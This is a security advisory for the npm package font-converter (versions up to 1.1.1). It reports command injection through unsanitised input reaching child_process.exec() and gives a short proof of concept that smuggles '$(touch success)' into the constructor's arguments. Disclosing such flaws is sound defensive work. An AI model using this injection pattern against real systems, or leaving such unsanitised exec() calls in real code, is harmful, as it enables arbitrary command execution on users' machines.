GHSA-g2c3-vwff-m3xr
Font-Converter Vulnerable to Arbitrary Command Injection
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | font-converter | <= 1.1.1 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
### Overview
font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)
All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the `child_process.exec()` function.
### PoC
```js
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
new PUT(x, x, x, x);
} catch (e) {
console.log(e);
}
```
References
External links from the advisory. They lead to third-party sites.